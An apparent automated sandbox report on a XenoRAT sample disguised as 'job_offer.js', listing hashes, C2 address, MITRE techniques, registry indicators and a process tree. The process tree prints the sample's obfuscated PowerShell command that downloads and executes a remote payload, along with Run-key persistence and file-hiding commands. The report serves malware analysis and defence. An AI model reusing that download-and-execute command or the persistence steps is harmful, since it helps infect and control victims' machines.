xenorat | 09be56cdd4003075a5a95a741f019105b23dbc140c5e8a034b0795c0a6ef87b9

Analysis

max time kernel
300s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
18-07-2024 02:05

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General

Target

job_offer.js
Size

7KB
MD5

99d7d5e0a68fab595c03ba3e5cd12f4c
SHA1

2c6100789c8906e9b308f80c9f4e3839c8aea41f
SHA256

09be56cdd4003075a5a95a741f019105b23dbc140c5e8a034b0795c0a6ef87b9
SHA512

788f5d86d96fc931ff5749dd0e62b874725c47a2ee3712ecf76a9b4867747a337e7dcd5e122d739785056c642d7521296f5c756691dddacc9c8ec4056b630b20
SSDEEP

192:n5o3kqWRrmBE1KE5PqecWjEBiARGBRjdJU+udDqpkE+Rv:n5+zcr2YyTiiG3e02EEv

Score

10^/10

xenorat defense_evasion execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.177/x/z.png

Extracted

Family

xenorat

176.113.115.177

Mutex

RGHEHTJ4GEJHTJSHJAJHAJHA

Attributes

install_path
nothingset
port
4404
startup_name
nothingset

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2636	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "wscript //E:VBScript C:\\Users\\Public\\0x.log //Nologo"	powershell.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
456	cmd.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2636 set thread context of 860	2636	powershell.exe	98

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
112	ipconfig.exe
3688	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2636	powershell.exe
2636	powershell.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe
860	RegSvcs.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
860	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	860	RegSvcs.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 2636	1996	wscript.exe	84
PID 1996 wrote to memory of 2636	1996	wscript.exe	84
PID 2636 wrote to memory of 112	2636	powershell.exe	86
PID 2636 wrote to memory of 112	2636	powershell.exe	86
PID 2636 wrote to memory of 456	2636	powershell.exe	95
PID 2636 wrote to memory of 456	2636	powershell.exe	95
PID 456 wrote to memory of 4064	456	cmd.exe	96
PID 456 wrote to memory of 4064	456	cmd.exe	96
PID 2636 wrote to memory of 3688	2636	powershell.exe	97
PID 2636 wrote to memory of 3688	2636	powershell.exe	97
PID 2636 wrote to memory of 860	2636	powershell.exe	98
PID 2636 wrote to memory of 860	2636	powershell.exe	98
PID 2636 wrote to memory of 860	2636	powershell.exe	98
PID 2636 wrote to memory of 860	2636	powershell.exe	98
PID 2636 wrote to memory of 860	2636	powershell.exe	98
PID 2636 wrote to memory of 860	2636	powershell.exe	98
PID 2636 wrote to memory of 860	2636	powershell.exe	98
PID 2636 wrote to memory of 860	2636	powershell.exe	98

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4064	attrib.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\job_offer.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(N%ew-Obje%c%t Ne%t.W%e';$c4='bCl%ie%nt).Do%%wn%l%o';$c3='adS%tri%%ng(''h%tt%p:%%//17%%%6.1%13%.11%%5.1%%%77%/%x/z%.p%n%%%g'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:112
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x.log
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Public\0x.log
      4⤵
      Views/modifies file attributes
      PID:4064
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:3688
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmro13ct.na4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\0x.log

Filesize
94KB

MD5
221bae885f4eaac29602dad1c523ec14

SHA1
121c3f85ea26a86a7d058f9c04bc2ac826005c61

SHA256
75205b562bd838a17280a747905825dd39948aa464279407851469715711f7dd

SHA512
08903b1911e9bbd4a10ce14ab3d1c59fb24dce60b730190799d6c37bb68461d774c9c09c5fab17e10fdd5457bb05f2441d6a7e05ed861c52bf5c720b67c7ff96

Download Submit
memory/860-16-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/860-20-0x0000000005A20000-0x0000000005A86000-memory.dmp

Filesize
408KB

Download
memory/2636-0-0x00007FFAECF53000-0x00007FFAECF55000-memory.dmp

Filesize
8KB

Download
memory/2636-6-0x0000012443A80000-0x0000012443AA2000-memory.dmp

Filesize
136KB

Download
memory/2636-11-0x00007FFAECF50000-0x00007FFAEDA11000-memory.dmp

Filesize
10.8MB

Download
memory/2636-12-0x00007FFAECF50000-0x00007FFAEDA11000-memory.dmp

Filesize
10.8MB

Download
memory/2636-15-0x0000012443960000-0x000001244396E000-memory.dmp

Filesize
56KB

Download
memory/2636-19-0x00007FFAECF50000-0x00007FFAEDA11000-memory.dmp

Filesize
10.8MB

Download